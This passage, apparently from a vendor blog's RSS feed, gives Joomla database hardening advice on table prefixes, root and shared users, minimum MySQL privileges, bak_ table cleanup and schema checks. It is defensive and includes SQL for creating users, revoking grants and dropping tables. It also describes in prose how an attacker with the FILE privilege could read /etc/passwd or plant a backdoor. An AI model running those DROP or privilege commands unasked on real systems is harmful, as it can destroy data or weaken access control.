&lt;p&gt;More on keeping PHP and WordPress current in our &lt;a href=&quot;https://mysites.guru/guides/wordpress-joomla-security-guide/&quot;&gt;WordPress and Joomla security guide&lt;/a&gt;.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>wordpress</category><category>php</category><category>hosting</category><category>updates</category><enclosure url="https://mysites.guru/_astro/wordpress-7-requirements.xylkpZXM.webp" length="0" type="image/webp"/></item><item><title>How to Check Your Joomla Database Security with mySites.guru</title><link>https://mysites.guru/blog/how-to-check-joomla-database-security/</link><guid isPermaLink="true">https://mysites.guru/blog/how-to-check-joomla-database-security/</guid><description>Your Joomla database might be running with the default jos_ prefix, a root user, or excessive privileges. Here&apos;s how to flag each issue and fix it.</description><pubDate>Wed, 25 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Your Joomla site&apos;s database holds everything that matters. User accounts, passwords, content, configuration, session tokens, extension settings. If an attacker gets read access, they own the site. Write access, they own the server.&lt;/p&gt;
&lt;p&gt;The database is also one of the most commonly misconfigured parts of any Joomla installation. Default table prefixes that automated tools know how to target. Root database users with unrestricted access. Database users that can see every database on the server. Backup tables full of historical data that nobody remembers creating. Schema mismatches from botched updates. Action logs growing without bounds.&lt;/p&gt;
&lt;p&gt;The mySites.guru &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;snapshot tool&lt;/a&gt; checks for all of these automatically. The &lt;strong&gt;Database Integrity&lt;/strong&gt; section of the snapshot runs six distinct checks on every connected site:&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Each check links to a &lt;strong&gt;Watch&lt;/strong&gt; button (video walkthrough), a &lt;strong&gt;Learn&lt;/strong&gt; button (&lt;a href=&quot;https://mysites.guru/blog/learn-the-best-practice-for-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;best practice explanation&lt;/a&gt;), and an &lt;strong&gt;Investigate&lt;/strong&gt; button that takes you straight to the issue on that specific site. For Joomla sites, most checks also include a &lt;strong&gt;Fix This For Me&lt;/strong&gt; button that applies the fix remotely with a single click. When you need to see a single check across all your sites at once, the pivot view shows every connected site&apos;s status for that check on one screen:&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;If you manage 10, 50, or 500 sites, this is how you spot the outliers without logging into each server individually.&lt;/p&gt;
&lt;p&gt;This post walks through every database integrity check, explains why each one matters, and gives you the exact steps to fix each issue.&lt;/p&gt;
&lt;h2&gt;Why Does Joomla Database Security Get Overlooked?&lt;/h2&gt;
&lt;p&gt;Most Joomla administrators focus on the visible attack surface: keeping extensions updated, running &lt;a href=&quot;https://mysites.guru/blog/security-audit-tools/&quot;&gt;security audits&lt;/a&gt;, scanning for &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;hacked files and backdoors&lt;/a&gt;, and reviewing &lt;a href=&quot;https://mysites.guru/blog/check-your-websites-security-headers-with-mysites-guru/&quot;&gt;security headers&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;But the database sits behind the scenes. You don&apos;t interact with it directly during normal site management. It was configured once during installation and never revisited. The installer picked a prefix, the hosting panel created a user with whatever privileges it felt like granting, and everyone moved on.&lt;/p&gt;
&lt;p&gt;The decisions made during a five-minute installation have permanent security implications, and almost nobody goes back to review them.&lt;/p&gt;
&lt;p&gt;When you &lt;a href=&quot;https://mysites.guru/blog/manage-your-joomla-4-sites-with-mysites-guru/&quot;&gt;manage multiple Joomla sites&lt;/a&gt;, the odds of database misconfiguration go up fast. Different hosts have different defaults. Different eras of Joomla had different installation behaviours. Some hosts create database users with full administrative privileges because it&apos;s easier than figuring out the minimum required set.&lt;/p&gt;
&lt;h2&gt;Why Is the Default Joomla Table Prefix a Problem?&lt;/h2&gt;
&lt;p&gt;Joomla versions before 1.7 used &lt;code&gt;jos_&lt;/code&gt; as the default database table prefix during installation. That means your users table would be &lt;code&gt;jos_users&lt;/code&gt;, your sessions table &lt;code&gt;jos_session&lt;/code&gt;, your extensions table &lt;code&gt;jos_extensions&lt;/code&gt;, and so on.&lt;/p&gt;
&lt;p&gt;Joomla has generated a random prefix during installation since version 1.7 (released in 2011). But if you&apos;re managing older sites, sites that were migrated from earlier versions, or sites where someone typed &lt;code&gt;jos_&lt;/code&gt; manually during setup, that default prefix is still there.&lt;/p&gt;
&lt;p&gt;This matters because SQL injection attacks need to know your table names to extract data. If a site uses &lt;code&gt;jos_users&lt;/code&gt; as the users table, attackers don&apos;t need to guess. They already know. Automated attack tools and scripts target &lt;code&gt;jos_users&lt;/code&gt;, &lt;code&gt;jos_session&lt;/code&gt;, and &lt;code&gt;jos_extensions&lt;/code&gt; by default. Changing your prefix to something custom, say &lt;code&gt;x7k9_&lt;/code&gt; or &lt;code&gt;mguru_&lt;/code&gt;, means those pre-built payloads hit tables that don&apos;t exist and return nothing useful.&lt;/p&gt;
&lt;p&gt;Tim Davis from &lt;a href=&quot;https://www.youtube.com/@BasicJoomla&quot;&gt;Basic Joomla Tutorials&lt;/a&gt; covers this exact issue in his Maintenance Monday stream. It&apos;s a clear walkthrough of why the default prefix is a problem and how to change it:&lt;/p&gt;
&lt;div&gt;
  
&lt;/div&gt;
&lt;div&gt;
  
  &lt;p&gt;The video above shows an older version of the mySites.guru interface. We&apos;ve since redesigned the dashboard, but the database checks work the same way.&lt;/p&gt;
&lt;/div&gt;
&lt;div&gt;
  &lt;p&gt;Changing the table prefix is not a substitute for fixing SQL injection vulnerabilities. A determined attacker who can inject SQL can usually enumerate your table names regardless of prefix. But it stops the vast majority of automated attacks, which are the ones most sites actually face. Defense in depth means stacking imperfect barriers, and each one filters out a portion of threats.&lt;/p&gt;
&lt;/div&gt;
&lt;h3&gt;What mySites.guru checks&lt;/h3&gt;
&lt;p&gt;The snapshot reads your site&apos;s &lt;code&gt;configuration.php&lt;/code&gt; and checks the &lt;code&gt;$dbprefix&lt;/code&gt; value. If it&apos;s &lt;code&gt;jos_&lt;/code&gt;, the tool flags it as a warning. If you&apos;ve set a custom prefix, it passes.&lt;/p&gt;
&lt;h3&gt;How to fix it&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Option 1: Use mySites.guru (recommended)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Click the &lt;strong&gt;Investigate&lt;/strong&gt; button on the flagged check to see your site&apos;s current prefix. For Joomla sites, click &lt;strong&gt;Fix This For Me&lt;/strong&gt; and mySites.guru will generate a random prefix, rename every table in the database, and update &lt;code&gt;configuration.php&lt;/code&gt; automatically. No manual SQL needed. If you manage dozens of sites, use the &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;pivot view&lt;/a&gt; to see which sites still have &lt;code&gt;jos_&lt;/code&gt; across your entire portfolio in one screen.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Option 2: Use Admin Tools&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;If you have &lt;a href=&quot;https://www.akeeba.com/products/admin-tools.html&quot;&gt;Akeeba Admin Tools&lt;/a&gt; installed, it includes a database table prefix changer. It handles renaming all tables and updating the configuration automatically. This is a solid approach because it accounts for edge cases like tables created by third-party extensions that might not follow standard naming conventions.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Option 3: Manual change via phpMyAdmin&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Take a full database backup first. This is non-negotiable.&lt;/li&gt;
&lt;li&gt;Open phpMyAdmin (or your preferred database management tool).&lt;/li&gt;
&lt;li&gt;For each table starting with &lt;code&gt;jos_&lt;/code&gt;, run: &lt;code&gt;RENAME TABLE jos_tablename TO newprefix_tablename;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Update &lt;code&gt;configuration.php&lt;/code&gt; on the server: change &lt;code&gt;public $dbprefix = &apos;jos_&apos;;&lt;/code&gt; to &lt;code&gt;public $dbprefix = &apos;newprefix_&apos;;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Clear your Joomla cache and verify the site loads correctly.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;A few rules for choosing a good prefix to save you headaches with some webhosts and configurations - trust us!&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Use 3-5 random characters followed by an underscore (e.g., &lt;code&gt;a8x2_&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Stick to lowercase letters and numbers only, no special characters&lt;/li&gt;
&lt;li&gt;Start with a letter, not a number&lt;/li&gt;
&lt;li&gt;Don&apos;t use your site name, domain, or anything guessable&lt;/li&gt;
&lt;li&gt;Don&apos;t use &lt;code&gt;joomla_&lt;/code&gt;, &lt;code&gt;jml_&lt;/code&gt;, or any other obvious Joomla-related prefix&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
  &lt;p&gt;If you&apos;re installing a new Joomla site, the installer already generates a random prefix by default (since Joomla 1.7 in 2011). If you see jos_ on a site, it either predates that change or someone manually typed it in during setup.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;The root database user problem in Joomla&lt;/h2&gt;
&lt;p&gt;If your Joomla site connects to the database as the &lt;code&gt;root&lt;/code&gt; MySQL user, you have a serious problem.&lt;/p&gt;
&lt;p&gt;The root user has unrestricted access to every database on the server. Not just your Joomla database, but every single one. If a vulnerability in any Joomla extension allows an attacker to execute arbitrary SQL, they can read, modify, or delete data from every database on the server. They can create new database users. They can grant themselves permanent access. They can dump every table from every application sharing that MySQL instance.&lt;/p&gt;
&lt;p&gt;This is the database equivalent of running your web server as the system root user.&lt;/p&gt;
&lt;h3&gt;Why it happens&lt;/h3&gt;
&lt;p&gt;Shared hosting panels often create a single database user per hosting account and give it access to all databases under that account. On some budget hosts, the installation wizard pre-fills &quot;root&quot; as the database username because the hosting environment uses it.&lt;/p&gt;
&lt;p&gt;Self-managed servers tend to be worse. Developers setting up a quick test environment use root because it works and they&apos;ll &quot;fix it later.&quot; They never fix it later. The test environment becomes production, and root stays in &lt;code&gt;configuration.php&lt;/code&gt; for years.&lt;/p&gt;
&lt;h3&gt;What mySites.guru checks&lt;/h3&gt;
&lt;p&gt;The snapshot reads the &lt;code&gt;$user&lt;/code&gt; value from your site&apos;s &lt;code&gt;configuration.php&lt;/code&gt;. If the database username is &lt;code&gt;root&lt;/code&gt;, the tool flags it as a critical warning.&lt;/p&gt;
&lt;h3&gt;How to fix it&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Option 1: Use mySites.guru (recommended)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Click the &lt;strong&gt;Investigate&lt;/strong&gt; button on the flagged check to see the exact database username. For Joomla sites, the investigation page includes a credentials form where you can enter new database credentials, test them against the server, and apply the change to &lt;code&gt;configuration.php&lt;/code&gt; remotely. No SSH or FTP required. Use the pivot view to instantly see which sites across your portfolio are still running as root, so you can prioritise the worst offenders.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Option 2: Fix manually&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Log into your hosting control panel or MySQL directly.&lt;/li&gt;
&lt;li&gt;Create a new database user with a strong, unique password.&lt;/li&gt;
&lt;li&gt;Grant that user access only to the Joomla database, nothing else.&lt;/li&gt;
&lt;li&gt;Assign only the required privileges (covered in the next section).&lt;/li&gt;
&lt;li&gt;Update &lt;code&gt;configuration.php&lt;/code&gt; with the new username and password.&lt;/li&gt;
&lt;li&gt;Verify the site works correctly.&lt;/li&gt;
&lt;li&gt;If no other applications use root, change the root password and restrict root to localhost-only access.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;If you have direct MySQL access, here&apos;s the command to create a properly scoped user. On shared hosting, your control panel (cPanel, Plesk, DirectAdmin, etc.) will handle this through its GUI instead - typically in three separate steps: create the user, assign privileges to the user, then add the user to the database.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;CREATE USER &apos;joomla_user&apos;@&apos;localhost&apos; IDENTIFIED BY &apos;strong_random_password_here&apos;;
GRANT SELECT, INSERT, UPDATE, DELETE, CREATE, DROP, ALTER, INDEX
  ON joomla_database.* TO &apos;joomla_user&apos;@&apos;localhost&apos;;
FLUSH PRIVILEGES;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Replace &lt;code&gt;joomla_user&lt;/code&gt;, &lt;code&gt;strong_random_password_here&lt;/code&gt;, and &lt;code&gt;joomla_database&lt;/code&gt; with your actual values. The &lt;code&gt;@&apos;localhost&apos;&lt;/code&gt; restriction ensures this user can only connect from the local machine, not remotely.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;If your Joomla site is on shared hosting, check with your host about database user permissions. Some hosts don&apos;t give you direct MySQL access to create users, so you&apos;ll need to use their control panel instead. The principle is the same: one user per database, minimum required privileges.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;Why Should Each Site Have Its Own Database User?&lt;/h2&gt;
&lt;p&gt;Even with a dedicated (non-root) database user, there&apos;s a subtler problem: that user might have access to multiple databases on the same server.&lt;/p&gt;
&lt;p&gt;This happens more often than you&apos;d expect. Hosting panels frequently create a single database user and grant it access to every database under your account. If you run three Joomla sites on the same server, all three might share the same database user. If one site gets compromised through an extension vulnerability, the attacker can read and modify the databases of the other two sites as well.&lt;/p&gt;
&lt;p&gt;Tim Davis has a memorable take on this in his Maintenance Monday stream: &lt;a href=&quot;https://www.youtube.com/watch?v=JQXYWwRs10M&quot;&gt;No Database Threesomes in Joomla&lt;/a&gt;. He walks through how to check if your database user can access multiple databases and how to create separate users for each site. If a hack occurs on one site whose database user can see other databases, the attacker can view those databases too, change admin passwords directly, and compromise every site on that server. We have seen over 100 databases on a single server all hacked from one compromised site. Total compromise, from a single weak point.&lt;/p&gt;
&lt;h3&gt;What mySites.guru checks&lt;/h3&gt;
&lt;p&gt;The snapshot connector connects to your MySQL server using your site&apos;s database credentials and runs &lt;code&gt;SHOW DATABASES&lt;/code&gt;, filtering out system databases (&lt;code&gt;information_schema&lt;/code&gt;, &lt;code&gt;performance_schema&lt;/code&gt;, &lt;code&gt;mysql&lt;/code&gt;, &lt;code&gt;test&lt;/code&gt;). If the user can see more than one database, the check fails. This is the same test an attacker would use after gaining SQL access through a vulnerability.&lt;/p&gt;
&lt;h3&gt;How to fix it&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Option 1: Use mySites.guru (recommended)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Click the &lt;strong&gt;Investigate&lt;/strong&gt; button to see exactly how many databases the user can access. For Joomla sites, the investigation page includes the same credentials form as the root user check: enter a new dedicated username and password, test them, and apply the change to &lt;code&gt;configuration.php&lt;/code&gt; remotely. Use the pivot view to see which sites across your portfolio have this problem.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Option 2: Fix manually&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Create a separate database user for each Joomla site on your server. Using the MySQL command from the root user section above, the key is the &lt;code&gt;ON joomla_database.*&lt;/code&gt; part: that restricts the user to a single database. Repeat for each site with a different username, password, and database name.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;-- Site A
CREATE USER &apos;site_a_user&apos;@&apos;localhost&apos; IDENTIFIED BY &apos;password_a&apos;;
GRANT SELECT, INSERT, UPDATE, DELETE, CREATE, DROP, ALTER, INDEX
  ON site_a_db.* TO &apos;site_a_user&apos;@&apos;localhost&apos;;

-- Site B
CREATE USER &apos;site_b_user&apos;@&apos;localhost&apos; IDENTIFIED BY &apos;password_b&apos;;
GRANT SELECT, INSERT, UPDATE, DELETE, CREATE, DROP, ALTER, INDEX
  ON site_b_db.* TO &apos;site_b_user&apos;@&apos;localhost&apos;;

FLUSH PRIVILEGES;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then update each site&apos;s &lt;code&gt;configuration.php&lt;/code&gt; to use its dedicated user.&lt;/p&gt;
&lt;h2&gt;What Database Privileges Does Joomla Actually Need?&lt;/h2&gt;
&lt;p&gt;Even with a dedicated user that only accesses one database, that user might have far more privileges than Joomla needs. This isn&apos;t one of the six automated snapshot checks, but it&apos;s a critical part of database security that you should review manually alongside the snapshot results.&lt;/p&gt;
&lt;p&gt;Joomla needs these MySQL privileges to function:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;SELECT&lt;/strong&gt; - read data from tables&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;INSERT&lt;/strong&gt; - add new rows (content, users, sessions, etc.)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;UPDATE&lt;/strong&gt; - modify existing rows&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;DELETE&lt;/strong&gt; - remove rows&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CREATE&lt;/strong&gt; - create new tables (needed during extension installation)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;DROP&lt;/strong&gt; - remove tables (needed during extension uninstallation)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ALTER&lt;/strong&gt; - modify table structure (needed during updates)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;INDEX&lt;/strong&gt; - create and drop indexes (needed during updates)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Some extensions also require:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;CREATE TEMPORARY TABLES&lt;/strong&gt; - for complex queries that use temp tables&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;LOCK TABLES&lt;/strong&gt; - for backup extensions that need consistent snapshots&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Ten privileges at most. Yet many hosting panels grant database users privileges they should never have:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;FILE&lt;/strong&gt; - read and write files on the server filesystem through SQL. An attacker with this privilege can read &lt;code&gt;/etc/passwd&lt;/code&gt;, write a PHP backdoor to the webroot, or exfiltrate your &lt;code&gt;configuration.php&lt;/code&gt;, all through SQL queries.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;PROCESS&lt;/strong&gt; - view all running queries from all users, including those containing passwords or sensitive data.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SUPER&lt;/strong&gt; - bypass privilege restrictions, kill other users&apos; queries, change global server settings.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;GRANT OPTION&lt;/strong&gt; - grant any privilege the user has to other users. An attacker can create new users with full access.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SHUTDOWN&lt;/strong&gt; - shut down the MySQL server entirely.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If a SQL injection vulnerability is discovered in any Joomla extension on your site, the damage an attacker can do is directly proportional to the privileges your database user holds. With just the required set, they can read and modify data in your Joomla database. Bad, but recoverable. With FILE privilege, they can drop a backdoor on your filesystem. With SUPER, they can take over the database server. The &lt;a href=&quot;https://mysites.guru/blog/novarain-framework-joomla-vulnerability/&quot;&gt;Novarain Framework vulnerability (CVE-2026-21627)&lt;/a&gt; is a real-world example of exactly this: an unauthenticated SQL injection in a bundled Joomla component that gives attackers direct database access.&lt;/p&gt;
&lt;h3&gt;How to check and fix&lt;/h3&gt;
&lt;p&gt;To see what privileges your user currently has:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;SHOW GRANTS FOR &apos;joomla_user&apos;@&apos;localhost&apos;;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If the output includes dangerous privileges, revoke them:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;REVOKE FILE, PROCESS, SUPER, GRANT OPTION, SHUTDOWN
  ON *.* FROM &apos;joomla_user&apos;@&apos;localhost&apos;;
FLUSH PRIVILEGES;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If the output shows &lt;code&gt;GRANT ALL PRIVILEGES&lt;/code&gt;, your user has everything, including the dangerous ones. The cleanest fix is to create a new user with only the required privileges (using the command from the root user section) and update &lt;code&gt;configuration.php&lt;/code&gt; to use it.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;On shared hosting, you may not be able to run REVOKE directly. Most hosting control panels (cPanel, Plesk, DirectAdmin) have a database user privilege editor in their interface. Look for your database section, find the user, and uncheck everything except SELECT, INSERT, UPDATE, DELETE, CREATE, DROP, ALTER, INDEX, CREATE TEMPORARY TABLES, and LOCK TABLES.&lt;/p&gt;
&lt;/div&gt;
&lt;h3&gt;The ALL PRIVILEGES trap&lt;/h3&gt;
&lt;p&gt;Many guides and StackOverflow answers casually recommend &lt;code&gt;GRANT ALL PRIVILEGES&lt;/code&gt; when setting up a database user. It&apos;s the easy path where everything works and you never get a &quot;permission denied&quot; error. But &lt;code&gt;ALL PRIVILEGES&lt;/code&gt; includes FILE, PROCESS, SUPER, and everything else. It&apos;s the second-worst option after using root directly.&lt;/p&gt;
&lt;p&gt;If you see &lt;code&gt;ALL PRIVILEGES&lt;/code&gt; in your grants output, treat it the same as any other over-privileged configuration: create a new user with explicit minimum privileges and switch to it.&lt;/p&gt;
&lt;h2&gt;Why Should You Remove Backup Tables from Your Joomla Database?&lt;/h2&gt;
&lt;p&gt;When you run the Joomla installer into a database that already contains tables (from a previous installation, for example), the installer offers to back up the existing tables by renaming them with a &lt;code&gt;bak_&lt;/code&gt; prefix. So &lt;code&gt;jos_users&lt;/code&gt; becomes &lt;code&gt;bak_jos_users&lt;/code&gt;, &lt;code&gt;jos_content&lt;/code&gt; becomes &lt;code&gt;bak_jos_content&lt;/code&gt;, and so on. Open phpMyAdmin on a long-running Joomla site and you might see dozens of these &lt;code&gt;bak_&lt;/code&gt; tables sitting alongside the live ones.&lt;/p&gt;
&lt;p&gt;The problem is that nobody cleans them up afterward. The installer creates them, the site works fine, and the backup tables sit there indefinitely.&lt;/p&gt;
&lt;p&gt;Tim Davis covers the cleanup process in detail: &lt;a href=&quot;https://www.youtube.com/watch?v=PXpZSucIDko&quot;&gt;Remove BAK_ Backup Tables From Your Joomla Database&lt;/a&gt;. He walks through both automated and manual approaches to finding and removing these tables safely.&lt;/p&gt;
&lt;h3&gt;Why backup tables are a security risk&lt;/h3&gt;
&lt;p&gt;Backup tables contain historical copies of your data. Your &lt;code&gt;jos_users&lt;/code&gt; table has your current user records with current (hopefully hashed) passwords. A backup table from two years ago has the user records from two years ago, potentially with weaker password hashes if you&apos;ve upgraded your hashing algorithm since then. It might also contain accounts for users who have since been deleted.&lt;/p&gt;
&lt;p&gt;If an attacker gains read access to your database through SQL injection, backup tables give them:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Historical user data&lt;/strong&gt; - email addresses, usernames, and password hashes from previous periods&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Old configuration data&lt;/strong&gt; - API keys, SMTP credentials, or other sensitive settings stored in the database&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Migration artifacts&lt;/strong&gt; - data from a previous CMS or an earlier Joomla version that might contain information you thought was deleted&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Beyond the security angle, backup tables consume disk space. On sites with large content tables or extensive user bases, backup tables can double or triple your database size. This slows down database operations, increases backup time, and on some hosts pushes you into a higher billing tier.&lt;/p&gt;
&lt;h3&gt;What mySites.guru checks&lt;/h3&gt;
&lt;p&gt;The snapshot connector runs &lt;code&gt;SHOW TABLES&lt;/code&gt; on your database and looks for any table with a name starting with &lt;code&gt;bak_&lt;/code&gt;. This is the prefix Joomla&apos;s installer creates when you install over an existing database and choose to back up the old tables. If any &lt;code&gt;bak_&lt;/code&gt; tables exist, the check fails.&lt;/p&gt;
&lt;h3&gt;How to fix it&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Option 1: Use mySites.guru (recommended)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Click the &lt;strong&gt;Investigate&lt;/strong&gt; button to see the full list of &lt;code&gt;bak_&lt;/code&gt; tables on that site. Click &lt;strong&gt;Fix This For Me&lt;/strong&gt; and mySites.guru will drop all the backup tables remotely. No need to open phpMyAdmin or run SQL manually. Use the pivot view to see which sites across your portfolio have leftover backup tables.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Option 2: Fix manually&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Open phpMyAdmin or your preferred database tool.&lt;/li&gt;
&lt;li&gt;Confirm the tables flagged are actually backups and not tables created by a legitimate extension. Check the table structure: if it mirrors an existing core or extension table, it&apos;s almost certainly a backup.&lt;/li&gt;
&lt;li&gt;Take a fresh database backup before deleting anything (yes, the irony is noted).&lt;/li&gt;
&lt;li&gt;Drop the backup tables:&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;DROP TABLE bak_jos_users;
DROP TABLE bak_jos_content;
DROP TABLE bak_jos_extensions;
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;Verify the site works normally afterward.&lt;/li&gt;
&lt;/ol&gt;
&lt;div&gt;
  &lt;p&gt;Don&apos;t delete tables you can&apos;t identify. Some extensions create tables with non-obvious names. If you&apos;re unsure whether a table belongs to an active extension, check the extension&apos;s documentation or search for the table name in the extension&apos;s source code before dropping it.&lt;/p&gt;
&lt;/div&gt;
&lt;h3&gt;Preventing future backup table accumulation&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Configure your backup extension (&lt;a href=&quot;https://www.akeeba.com/products/akeeba-backup.html&quot;&gt;Akeeba Backup&lt;/a&gt; or similar) to store backups as files, not as additional database tables&lt;/li&gt;
&lt;li&gt;After running database migrations, include table cleanup as part of your post-migration checklist&lt;/li&gt;
&lt;li&gt;If you&apos;re manually duplicating tables before making changes, set a calendar reminder to remove them within a week&lt;/li&gt;
&lt;li&gt;Run the mySites.guru snapshot periodically. &lt;a href=&quot;https://mysites.guru/blog/schedule-your-security-audits-updates-backups-for-your-site-with-mysites-guru/&quot;&gt;Schedule it&lt;/a&gt; to run weekly or monthly, and it will catch new backup tables before they accumulate&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Does Your Database Schema Match the Installed Joomla Version?&lt;/h2&gt;
&lt;p&gt;When Joomla updates between versions, it runs database migration scripts that add new tables, add columns to existing tables, change column types, and update indexes. If an update fails partway through, or if someone restores a database backup from an older version without re-running migrations, the database schema can end up out of sync with the installed Joomla code.&lt;/p&gt;
&lt;p&gt;A schema mismatch can cause subtle bugs. Extension installs might fail silently. Admin pages might throw errors when trying to access columns that don&apos;t exist. In some cases, Joomla&apos;s built-in update process gets stuck because it thinks a migration already ran when it didn&apos;t.&lt;/p&gt;
&lt;h3&gt;What mySites.guru checks&lt;/h3&gt;
&lt;p&gt;The snapshot connector loads Joomla&apos;s &lt;code&gt;com_installer&lt;/code&gt; Database model and compares the current schema version (stored in the &lt;code&gt;#__schemas&lt;/code&gt; table) against the latest schema version available in Joomla&apos;s migration files. If the versions don&apos;t match, the check fails. On Joomla 4 and later, it also compares the &lt;code&gt;com_admin&lt;/code&gt; extension version against the installed Joomla version to catch partial updates.&lt;/p&gt;
&lt;h3&gt;How to fix it&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Option 1: Use mySites.guru (recommended)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Click the &lt;strong&gt;Investigate&lt;/strong&gt; button to see the current vs expected schema version numbers and any schema errors. Click &lt;strong&gt;Fix This For Me&lt;/strong&gt; and mySites.guru will run the missing migration scripts remotely. The pivot view shows you which sites across your portfolio have schema mismatches, so you can batch your fixes.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Option 2: Fix via Joomla&apos;s built-in tool&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Joomla includes a built-in database repair tool. In the Joomla administrator:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Go to &lt;strong&gt;System &amp;gt; Maintenance &amp;gt; Database&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Joomla will compare the expected schema against the actual database&lt;/li&gt;
&lt;li&gt;Select any items marked as needing attention&lt;/li&gt;
&lt;li&gt;Click &lt;strong&gt;Update Structure&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;If the built-in tool can&apos;t resolve the issue (rare, but it happens with heavily customized sites), you may need to manually apply the missing SQL from Joomla&apos;s migration files in &lt;code&gt;administrator/components/com_admin/sql/updates/mysql/&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Always &lt;a href=&quot;https://mysites.guru/blog/backup-all-your-joomla-wp-sites-easily-with-one-button-in-mysites-guru/&quot;&gt;back up your database&lt;/a&gt; before running schema fixes.&lt;/p&gt;
&lt;h2&gt;Should You Enable Joomla&apos;s User Action Log Auto Purge?&lt;/h2&gt;
&lt;p&gt;Joomla&apos;s User Action Log component tracks administrator activity: who logged in, who changed what article, who installed which extension. It&apos;s a useful audit trail, but the log table grows over time. Without automatic purging, the &lt;code&gt;#__action_logs&lt;/code&gt; table can grow to hundreds of thousands of rows on busy sites, slowing down database operations and backups.&lt;/p&gt;
&lt;h3&gt;What mySites.guru checks&lt;/h3&gt;
&lt;p&gt;The snapshot connector reads the &lt;code&gt;logDeletePeriod&lt;/code&gt; parameter from the &lt;code&gt;PLG_SYSTEM_ACTIONLOGS&lt;/code&gt; plugin in the &lt;code&gt;#__extensions&lt;/code&gt; table. The check passes only if the value is exactly 30. If it&apos;s set to a different number, disabled, or not configured, the check fails and shows the current value (or &quot;Days&quot; if no value is set). This is a Joomla 3.9+ check only.&lt;/p&gt;
&lt;h3&gt;How to fix it&lt;/h3&gt;
